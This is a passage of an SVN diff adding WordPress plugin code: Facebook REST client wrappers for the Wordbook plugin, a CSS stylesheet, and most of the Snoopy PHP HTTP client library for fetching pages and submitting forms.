+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/wordbook_php5.php	(revision 44)
@@ -0,0 +1,82 @@
+<?php
+
+function wordbook_rest_client($secret, $session_key) {
+	return new FacebookRestClient(WORDBOOK_FB_APIKEY, $secret,
+		$session_key);
+}
+
+function wordbook_fbclient_setfbml_impl($fbclient, $text) {
+	try {
+		$result = $fbclient->profile_setFBML(null, null, $text,
+			null, null, $text);
+		$error_code = null;
+		$error_msg = null;
+	} catch (Exception $e) {
+		$result = null;
+		$error_code = $e->getCode();
+		$error_msg = $e->getMessage();
+	}
+	return array($result, $error_code, $error_msg);
+}
+
+function wordbook_fbclient_publishaction_impl($fbclient, $template_id,
+		$template_data,
+		$storysize = FacebookRestClient::STORY_SIZE_SHORT) {
+	try {
+		$method = 'feed.publishUserAction';
+		$result = $fbclient->feed_publishUserAction($template_id,
+			$template_data, '', '', $storysize);
+	} catch (Exception $e) {
+		$error_code = $e->getCode();
+		$error_msg = $e->getMessage();
+	}
+	return array($result, $error_code, $error_msg, $method);
+}
+
+function wordbook_fbclient_getinfo($fbclient, $fields) {
+	try {
+		$uid = $fbclient->users_getLoggedInUser();
+		$users = $fbclient->users_getInfo(array($uid), $fields);
+		$error_code = null;
+		$error_msg = null;
+	} catch (Exception $e) {
+		$uid = null;
+		$users = null;
+		$error_code = $e->getCode();
+		$error_msg = $e->getMessage();
+	}
+	return array($uid, $users, $error_code, $error_msg);
+}
+
+function wordbook_fbclient_has_app_permission($fbclient, $ext_perm) {
+	try {
+		$uid = $fbclient->users_getLoggedInUser();
+		$has_permission = $fbclient->call_method(
+			'facebook.users.hasAppPermission', array(
+				'uid' => $uid,
+				'ext_perm' => $ext_perm,
+			));
+		$error_code = null;
+		$error_msg = null;
+	} catch (Exception $e) {
+		$has_permission = null;
+		$error_code = $e->getCode();
+		$error_msg = $e->getMessage();
+	}
+	return array($has_permission, $error_code, $error_msg);
+}
+
+function wordbook_fbclient_getsession($fbclient, $token) {
+	try {
+		$result = $fbclient->auth_getSession($token);
+		$error_code = null;
+		$error_msg = null;
+	} catch (Exception $e) {
+		$result = null;
+		$error_code = $e->getCode();
+		$error_msg = $e->getMessage();
+	}
+	return array($result, $error_code, $error_msg);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/css/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/css/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/css/style.css	(revision 44)
@@ -0,0 +1,81 @@
+@charset "utf-8";
+/* CSS Document */
+a.remove-link {
+	text-decoration: none;
+	border: none;
+}
+input.wide {
+	width: 350px;
+}
+table.list th {
+	text-align: left;
+	color: #000000;
+}
+table.list td {
+	border-bottom: 1px solid #DEDEDE;
+	padding: 3px;
+	vertical-align: top;
+}
+table.options th {
+	text-align: right;
+	color: #000000;
+}
+table.options td {
+	border-bottom: 1px solid #DEDEDE;
+	padding: 3px;
+	vertical-align: top;
+}
+table#resulttable, table#subresulttable {
+	width: 100%;
+	border: 0px;
+}
+table#resulttable th, table#resulttable td {
+	border-bottom: 1px solid #DEDEDE;
+	padding: 3px;
+	vertical-align: top;
+}
+table#subresulttable th, table#subresulttable td {
+	border-bottom: none;
+	padding: 3px;
+	vertical-align: top;
+}
+span.position {
+	font-size: 14px;
+	font-weight: bold;
+}
+div.success {
+	color: #006600;
+	background-color: #B9FFB9;
+	border: 1px solid #006600;
+	padding: 10px;
+	margin: 2px 0px 2px 0px;
+}
+div.error {
+	color: #FF0000;
+	background-color: #FFE6E6;
+	border: 1px solid #FF0000;
+	padding: 10px;
+	margin: 2px 0px 2px 0px;
+}
+div.message {
+	color: #333333;
+	background-color: #FFFFA6;
+	border: 1px solid #CCCCCC;
+	padding: 10px;
+	margin: 2px 0px 2px 0px;
+}
+span.keyword {
+	color: #990000;
+	font-weight: bold;
+	font-size: 12px;
+}
+span.small {
+	color: #333;
+	font-weight: normal;
+	font-size: 10px;
+}
+span.big {
+	color: #333;
+	font-weight: normal;
+	font-size: 18px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/class-snoopy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/class-snoopy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/includes/class-snoopy.php	(revision 44)
@@ -0,0 +1,1261 @@
+<?php
+
+/*************************************************
+
+Snoopy - the PHP net client
+Author: Monte Ohrt <monte@ispi.net>
+Copyright (c): 1999-2000 ispi, all rights reserved
+Version: 1.01
+
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+You may contact the author of Snoopy by e-mail at:
+monte@ispi.net
+
+Or, write to:
+Monte Ohrt
+CTO, ispi
+237 S. 70th suite 220
+Lincoln, NE 68510
+
+The latest version of Snoopy can be obtained from:
+http://snoopy.sourceforge.net/
+
+*************************************************/
+
+if ( !in_array('Snoopy', get_declared_classes() ) ) :
+class Snoopy
+{
+	/**** Public variables ****/
+
+	/* user definable vars */
+
+	var $host			=	"www.php.net";		// host name we are connecting to
+	var $port			=	80;					// port we are connecting to
+	var $proxy_host		=	"";					// proxy host to use
+	var $proxy_port		=	"";					// proxy port to use
+	var $proxy_user		=	"";					// proxy user to use
+	var $proxy_pass		=	"";					// proxy password to use
+
+	var $agent			=	"Snoopy v1.2.3";	// agent we masquerade as
+	var	$referer		=	"";					// referer info to pass
+	var $cookies		=	array();			// array of cookies to pass
+												// $cookies["username"]="joe";
+	var	$rawheaders		=	array();			// array of raw headers to send
+												// $rawheaders["Content-type"]="text/html";
+
+	var $maxredirs		=	5;					// http redirection depth maximum. 0 = disallow
+	var $lastredirectaddr	=	"";				// contains address of last redirected address
+	var	$offsiteok		=	true;				// allows redirection off-site
+	var $maxframes		=	0;					// frame content depth maximum. 0 = disallow
+	var $expandlinks	=	true;				// expand links to fully qualified URLs.
+												// this only applies to fetchlinks()
+												// submitlinks(), and submittext()
+	var $passcookies	=	true;				// pass set cookies back through redirects
+												// NOTE: this currently does not respect
+												// dates, domains or paths.
+
+	var	$user			=	"";					// user for http authentication
+	var	$pass			=	"";					// password for http authentication
+
+	// http accept types
+	var $accept			=	"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
+
+	var $results		=	"";					// where the content is put
+
+	var $error			=	"";					// error messages sent here
+	var	$response_code	=	"";					// response code returned from server
+	var	$headers		=	array();			// headers returned from server sent here
+	var	$maxlength		=	8192;				// max return data length (body)
+	var $read_timeout	=	0;					// timeout on read operations, in seconds
+												// supported only since PHP 4 Beta 4
+												// set to 0 to disallow timeouts
+	var $timed_out		=	false;				// if a read operation timed out
+	var	$status			=	0;					// http request status
+
+	var $temp_dir		=	"/tmp";				// temporary directory that the webserver
+												// has permission to write to.
+												// under Windows, this should be C:\temp
+
+	var	$curl_path		=	"/usr/local/bin/curl";
+												// Snoopy will use cURL for fetching
+												// SSL content if a full system path to
+												// the cURL binary is supplied here.
+												// set to false if you do not have
+												// cURL installed. See http://curl.haxx.se
+												// for details on installing cURL.
+												// Snoopy does *not* use the cURL
+												// library functions built into php,
+												// as these functions are not stable
+												// as of this Snoopy release.
+
+	/**** Private variables ****/
+
+	var	$_maxlinelen	=	4096;				// max line length (headers)
+
+	var $_httpmethod	=	"GET";				// default http request method
+	var $_httpversion	=	"HTTP/1.0";			// default http request version
+	var $_submit_method	=	"POST";				// default submit method
+	var $_submit_type	=	"application/x-www-form-urlencoded";	// default submit type
+	var $_mime_boundary	=   "";					// MIME boundary for multipart/form-data submit type
+	var $_redirectaddr	=	false;				// will be set if page fetched is a redirect
+	var $_redirectdepth	=	0;					// increments on an http redirect
+	var $_frameurls		= 	array();			// frame src urls
+	var $_framedepth	=	0;					// increments on frame depth
+
+	var $_isproxy		=	false;				// set if using a proxy server
+	var $_fp_timeout	=	30;					// timeout for socket connection
+
+/*======================================================================*\
+	Function:	fetch
+	Purpose:	fetch the contents of a web page
+				(and possibly other protocols in the
+				future like ftp, nntp, gopher, etc.)
+	Input:		$URI	the location of the page to fetch
+	Output:		$this->results	the output text from the fetch
+\*======================================================================*/
+
+	function fetch($URI)
+	{
+
+		//preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_httpmethod);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_httpmethod);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								$this->fetch($this->_redirectaddr);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI,$URI,$this->_httpmethod);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_httpmethod);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						// only follow redirect if it's on this site, or offsiteok is true
+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
+							$this->lastredirectaddr=$this->_redirectaddr;
+							$this->fetch($this->_redirectaddr);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	submit
+	Purpose:	submit an http form
+	Input:		$URI	the location to post the data
+				$formvars	the formvars to use.
+					format: $formvars["var"] = "val";
+				$formfiles  an array of files to submit
+					format: $formfiles["var"] = "/dir/filename.ext";
+	Output:		$this->results	the text output from the post
+\*======================================================================*/
+
+	function submit($URI, $formvars="", $formfiles="")
+	{
+		unset($postdata);
+
+		$postdata = $this->_prepare_post_body($formvars, $formfiles);
+
+		$URI_PARTS = parse_url($URI);
+		if (!empty($URI_PARTS["user"]))
+			$this->user = $URI_PARTS["user"];
+		if (!empty($URI_PARTS["pass"]))
+			$this->pass = $URI_PARTS["pass"];
+		if (empty($URI_PARTS["query"]))
+			$URI_PARTS["query"] = '';
+		if (empty($URI_PARTS["path"]))
+			$URI_PARTS["path"] = '';
+
+		switch(strtolower($URI_PARTS["scheme"]))
+		{
+			case "http":
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_connect($fp))
+				{
+					if($this->_isproxy)
+					{
+						// using proxy, send entire URI
+						$this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata);
+					}
+					else
+					{
+						$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+						// no proxy, send only the path
+						$this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+					}
+
+					$this->_disconnect($fp);
+
+					if($this->_redirectaddr)
+					{
+						/* url was redirected, check if we've hit the max depth */
+						if($this->maxredirs > $this->_redirectdepth)
+						{
+							if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+								$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+							// only follow redirect if it's on this site, or offsiteok is true
+							if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+							{
+								/* follow the redirect */
+								$this->_redirectdepth++;
+								$this->lastredirectaddr=$this->_redirectaddr;
+								if( strpos( $this->_redirectaddr, "?" ) > 0 )
+									$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+								else
+									$this->submit($this->_redirectaddr,$formvars, $formfiles);
+							}
+						}
+					}
+
+					if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+					{
+						$frameurls = $this->_frameurls;
+						$this->_frameurls = array();
+
+						while(list(,$frameurl) = each($frameurls))
+						{
+							if($this->_framedepth < $this->maxframes)
+							{
+								$this->fetch($frameurl);
+								$this->_framedepth++;
+							}
+							else
+								break;
+						}
+					}
+
+				}
+				else
+				{
+					return false;
+				}
+				return true;
+				break;
+			case "https":
+				if(!$this->curl_path)
+					return false;
+				if(function_exists("is_executable"))
+				    if (!is_executable($this->curl_path))
+				        return false;
+				$this->host = $URI_PARTS["host"];
+				if(!empty($URI_PARTS["port"]))
+					$this->port = $URI_PARTS["port"];
+				if($this->_isproxy)
+				{
+					// using proxy, send entire URI
+					$this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+				else
+				{
+					$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
+					// no proxy, send only the path
+					$this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata);
+				}
+
+				if($this->_redirectaddr)
+				{
+					/* url was redirected, check if we've hit the max depth */
+					if($this->maxredirs > $this->_redirectdepth)
+					{
+						if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr))
+							$this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]);
+
+						// only follow redirect if it's on this site, or offsiteok is true
+						if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok)
+						{
+							/* follow the redirect */
+							$this->_redirectdepth++;
+							$this->lastredirectaddr=$this->_redirectaddr;
+							if( strpos( $this->_redirectaddr, "?" ) > 0 )
+								$this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get
+							else
+								$this->submit($this->_redirectaddr,$formvars, $formfiles);
+						}
+					}
+				}
+
+				if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0)
+				{
+					$frameurls = $this->_frameurls;
+					$this->_frameurls = array();
+
+					while(list(,$frameurl) = each($frameurls))
+					{
+						if($this->_framedepth < $this->maxframes)
+						{
+							$this->fetch($frameurl);
+							$this->_framedepth++;
+						}
+						else
+							break;
+					}
+				}
+				return true;
+				break;
+
+			default:
+				// not a valid protocol
+				$this->error	=	'Invalid protocol "'.$URI_PARTS["scheme"].'"\n';
+				return false;
+				break;
+		}
+		return true;
+	}
+
+/*======================================================================*\
+	Function:	fetchlinks
+	Purpose:	fetch the links from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	an array of the URLs
+\*======================================================================*/
+
+	function fetchlinks($URI)
+	{
+		if ($this->fetch($URI))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striplinks($this->results);
+
+			if($this->expandlinks)
+				$this->results = $this->_expandlinks($this->results, $URI);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	fetchform
+	Purpose:	fetch the form elements from a web page
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the resulting html form
+\*======================================================================*/
+
+	function fetchform($URI)
+	{
+
+		if ($this->fetch($URI))
+		{
+
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_stripform($this->results[$x]);
+			}
+			else
+				$this->results = $this->_stripform($this->results);
+
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+/*======================================================================*\
+	Function:	fetchtext
+	Purpose:	fetch the text from a web page, stripping the links
+	Input:		$URI	where you are fetching from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function fetchtext($URI)
+	{
+		if($this->fetch($URI))
+		{
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+			}
+			else
+				$this->results = $this->_striptext($this->results);
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submitlinks
+	Purpose:	grab links from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	an array of the links from the post
+\*======================================================================*/
+
+	function submitlinks($URI, $formvars="", $formfiles="")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striplinks($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striplinks($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+/*======================================================================*\
+	Function:	submittext
+	Purpose:	grab text from a form submission
+	Input:		$URI	where you are submitting from
+	Output:		$this->results	the text from the web page
+\*======================================================================*/
+
+	function submittext($URI, $formvars = "", $formfiles = "")
+	{
+		if($this->submit($URI,$formvars, $formfiles))
+		{
+			if($this->lastredirectaddr)
+				$URI = $this->lastredirectaddr;
+			if(is_array($this->results))
+			{
+				for($x=0;$x<count($this->results);$x++)
+				{
+					$this->results[$x] = $this->_striptext($this->results[$x]);
+					if($this->expandlinks)
+						$this->results[$x] = $this->_expandlinks($this->results[$x],$URI);
+				}
+			}
+			else
+			{
+				$this->results = $this->_striptext($this->results);
+				if($this->expandlinks)
+					$this->results = $this->_expandlinks($this->results,$URI);
+			}
+			return true;
+		}
+		else
+			return false;
+	}
+
+
+
+/*======================================================================*\
+	Function:	set_submit_multipart
+	Purpose:	Set the form submission content type to
+				multipart/form-data
+\*======================================================================*/
+	function set_submit_multipart()
+	{
+		$this->_submit_type = "multipart/form-data";
+	}
+
+
+/*======================================================================*\
+	Function:	set_submit_normal
+	Purpose:	Set the form submission content type to
+				application/x-www-form-urlencoded
+\*======================================================================*/
+	function set_submit_normal()
+	{
+		$this->_submit_type = "application/x-www-form-urlencoded";
+	}
+
+
+
+
+/*======================================================================*\
+	Private functions
+\*======================================================================*/
+
+
+/*======================================================================*\
+	Function:	_striplinks
+	Purpose:	strip the hyperlinks from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _striplinks($document)
+	{
+		preg_match_all("'<\s*a\s.*?href\s*=\s*			# find <a href=
+						([\"\'])?					# find single or double quote
+						(?(1) (.*?)\\1 | ([^\s\>]+))		# if quote found, match up to next matching
+													# quote, otherwise match up to next space
+						'isx",$document,$links);
+
+
+		// catenate the non-empty matches from the conditional subpattern
+
+		while(list($key,$val) = each($links[2]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		while(list($key,$val) = each($links[3]))
+		{
+			if(!empty($val))
+				$match[] = $val;
+		}
+
+		// return the links
+		return $match;
+	}
+
+/*======================================================================*\
+	Function:	_stripform
+	Purpose:	strip the form elements from an html document
+	Input:		$document	document to strip.
+	Output:		$match		an array of the links
+\*======================================================================*/
+
+	function _stripform($document)
+	{
+		preg_match_all("'<\/?(FORM|INPUT|SELECT|TEXTAREA|(OPTION))[^<>]*>(?(2)(.*(?=<\/?(option|select)[^<>]*>[\r\n]*)|(?=[\r\n]*))|(?=[\r\n]*))'Usi",$document,$elements);
+
+		// catenate the matches
+		$match = implode("\r\n",$elements[0]);
+
+		// return the links
+		return $match;
+	}
+
+
+
+/*======================================================================*\
+	Function:	_striptext
+	Purpose:	strip the text from an html document
+	Input:		$document	document to strip.
+	Output:		$text		the resulting text
+\*======================================================================*/
+
+	function _striptext($document)
+	{
+
+		// I didn't use preg eval (//e) since that is only available in PHP 4.0.
+		// so, list your entities one by one here. I included some of the
+		// more common ones.
+
+		$search = array("'<script[^>]*?>.*?</script>'si",	// strip out javascript
+						"'<[\/\!]*?[^<>]*?>'si",			// strip out html tags
+						"'([\r\n])[\s]+'",					// strip out white space
+						"'&(quot|#34|#034|#x22);'i",		// replace html entities
+						"'&(amp|#38|#038|#x26);'i",			// added hexadecimal values
+						"'&(lt|#60|#060|#x3c);'i",
+						"'&(gt|#62|#062|#x3e);'i",
+						"'&(nbsp|#160|#xa0);'i",
+						"'&(iexcl|#161);'i",
+						"'&(cent|#162);'i",
+						"'&(pound|#163);'i",
+						"'&(copy|#169);'i",
+						"'&(reg|#174);'i",
+						"'&(deg|#176);'i",
+						"'&(#39|#039|#x27);'",
+						"'&(euro|#8364);'i",				// europe
+						"'&a(uml|UML);'",					// german
+						"'&o(uml|UML);'",
+						"'&u(uml|UML);'",
+						"'&A(uml|UML);'",
+						"'&O(uml|UML);'",
+						"'&U(uml|UML);'",
+						"'&szlig;'i",
+						);
+		$replace = array(	"",
+							"",
+							"\\1",
+							"\"",
+							"&",
+							"<",
+							">",
+							" ",
+							chr(161),
+							chr(162),
+							chr(163),
+							chr(169),
+							chr(174),
+							chr(176),
+							chr(39),
+							chr(128),
+							"Ã€",
+							"Ã¶",
+							"ÃŒ",
+							"Ã",
+							"Ã",
+							"Ã",
+							"Ã",
+						);
+
+		$text = preg_replace($search,$replace,$document);
+
+		return $text;
+	}
+
+/*======================================================================*\
+	Function:	_expandlinks
+	Purpose:	expand each link into a fully qualified URL
+	Input:		$links			the links to qualify
+				$URI			the full URI to get the base from
+	Output:		$expandedLinks	the expanded links
+\*======================================================================*/
+
+	function _expandlinks($links,$URI)
+	{
+
+		preg_match("/^[^\?]+/",$URI,$match);
+
+		$match = preg_replace("|/[^\/\.]+\.[^\/\.]+$|","",$match[0]);
+		$match = preg_replace("|/$|","",$match);
+		$match_part = parse_url($match);
+		$match_root =
+		$match_part["scheme"]."://".$match_part["host"];
+
+		$search = array( 	"|^http://".preg_quote($this->host)."|i",
+							"|^(\/)|i",
+							"|^(?!http://)(?!mailto:)|i",
+							"|/\./|",
+							"|/[^\/]+/\.\./|"
+						);
+
+		$replace = array(	"",
+							$match_root."/",
+							$match."/",
+							"/",
+							"/"
+						);
+
+		$expandedLinks = preg_replace($search,$replace,$links);
+
+		return $expandedLinks;
+	}
+
+/*======================================================================*\
+	Function:	_httprequest
+	Purpose:	go get the http data from the server
+	Input:		$url		the url to fetch
+				$fp			the current open file pointer
+				$URI		the full URI
+				$body		body contents to send if any (POST)
+	Output:
+\*======================================================================*/
+
+	function _httprequest($url,$fp,$URI,$http_method,$content_type="",$body="")
+	{
+		$cookie_headers = '';
+		if($this->passcookies && $this->_redirectaddr)
+			$this->setcookies();
+
+		$URI_PARTS = parse_url($URI);
+		if(empty($url))
+			$url = "/";
+		$headers = $http_method." ".$url." ".$this->_httpversion."\r\n";
+		if(!empty($this->agent))
+			$headers .= "User-Agent: ".$this->agent."\r\n";
+		if(!empty($this->host) && !isset($this->rawheaders['Host'])) {
+			$headers .= "Host: ".$this->host;
+			if(!empty($this->port) && $this->port != 80)
+				$headers .= ":".$this->port;
+			$headers .= "\r\n";
+		}
+		if(!empty($this->accept))
+			$headers .= "Accept: ".$this->accept."\r\n";
+		if(!empty($this->referer))
+			$headers .= "Referer: ".$this->referer."\r\n";
+		if(!empty($this->cookies))
+		{
+			if(!is_array($this->cookies))
+				$this->cookies = (array)$this->cookies;
+
+			reset($this->cookies);
+			if ( count($this->cookies) > 0 ) {
+				$cookie_headers .= 'Cookie: ';
+				foreach ( $this->cookies as $cookieKey => $cookieVal ) {
+				$cookie_headers .= $cookieKey."=".urlencode($cookieVal)."; ";
+				}
+				$headers .= substr($cookie_headers,0,-2) . "\r\n";
+			}
+		}
+		if(!empty($this->rawheaders))
+		{
+			if(!is_array($this->rawheaders))
+				$this->rawheaders = (array)$this->rawheaders;
+			while(list($headerKey,$headerVal) = each($this->rawheaders))
+				$headers .= $headerKey.": ".$headerVal."\r\n";
+		}
+		if(!empty($content_type)) {
+			$headers .= "Content-type: $content_type";
+			if ($content_type == "multipart/form-data")
+				$headers .= "; boundary=".$this->_mime_boundary;
+			$headers .= "\r\n";
+		}
+		if(!empty($body))
+			$headers .= "Content-length: ".strlen($body)."\r\n";
+		if(!empty($this->user) || !empty($this->pass))
+			$headers .= "Authorization: Basic ".base64_encode($this->user.":".$this->pass)."\r\n";
+
+		//add proxy auth headers
+		if(!empty($this->proxy_user))
+			$headers .= 'Proxy-Authorization: ' . 'Basic ' . base64_encode($this->proxy_user . ':' . $this->proxy_pass)."\r\n";
+
+
+		$headers .= "\r\n";
+
+		// set the read timeout if needed
+		if ($this->read_timeout > 0)
+			socket_set_timeout($fp, $this->read_timeout);
+		$this->timed_out = false;
+
+		fwrite($fp,$headers.$body,strlen($headers.$body));
+
+		$this->_redirectaddr = false;
+		unset($this->headers);
+
+		while($currentHeader = fgets($fp,$this->_maxlinelen))
+		{
+			if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+			{
+				$this->status=-100;
+				return false;
+			}
+
+			if($currentHeader == "\r\n")
+				break;
+
+			// if a header begins with Location: or URI:, set the redirect
+			if(preg_match("/^(Location:|URI:)/i",$currentHeader))
+			{
+				// get URL portion of the redirect
+				preg_match("/^(Location:|URI:)[ ]+(.*)/i",chop($currentHeader),$matches);
+				// look for :// in the Location header to see if hostname is included
+				if(!preg_match("|\:\/\/|",$matches[2]))
+				{
+					// no host in the path, so prepend
+					$this->_redirectaddr = $URI_PARTS["scheme"]."://".$this->host.":".$this->port;
+					// eliminate double slash
+					if(!preg_match("|^/|",$matches[2]))
+							$this->_redirectaddr .= "/".$matches[2];
+					else
+							$this->_redirectaddr .= $matches[2];
+				}
+				else
+					$this->_redirectaddr = $matches[2];
+			}
+
+			if(preg_match("|^HTTP/|",$currentHeader))
+			{
+                if(preg_match("|^HTTP/[^\s]*\s(.*?)\s|",$currentHeader, $status))
+				{
+					$this->status= $status[1];
+                }
+				$this->response_code = $currentHeader;
+			}
+
+			$this->headers[] = $currentHeader;
+		}
+
+		$results = '';
+		do {
+    		$_data = fread($fp, $this->maxlength);
+    		if (strlen($_data) == 0) {
+        		break;
+    		}
+    		$results .= $_data;
+		} while(true);
+
+		if ($this->read_timeout > 0 && $this->_check_timeout($fp))
+		{
+			$this->status=-100;
+			return false;
+		}
+
+		// check if there is a a redirect meta tag
+
+		if(preg_match("'<meta[\s]*http-equiv[^>]*?content[\s]*=[\s]*[\"\']?\d+;[\s]*URL[\s]*=[\s]*([^\"\']*?)[\"\']?>'i",$results,$match))
+
+		{
+			$this->_redirectaddr = $this->_expandlinks($match[1],$URI);
+		}
+
+		// have we hit our frame depth and is there frame src to fetch?
+		if(($this->_framedepth < $this->maxframes) && preg_match_all("'<frame\s+.*src[\s]*=[\'\"]?([^\'\"\>]+)'i",$results,$match))
+		{
+			$this->results[] = $results;
+			for($x=0; $x<count($match[1]); $x++)
+				$this->_frameurls[] = $this->_expandlinks($match[1][$x],$URI_PARTS["scheme"]."://".$this->host);
+		}
+		// have we already fetched framed content?
+		elseif(is_array($this->results))
+			$this->results[] = $results;
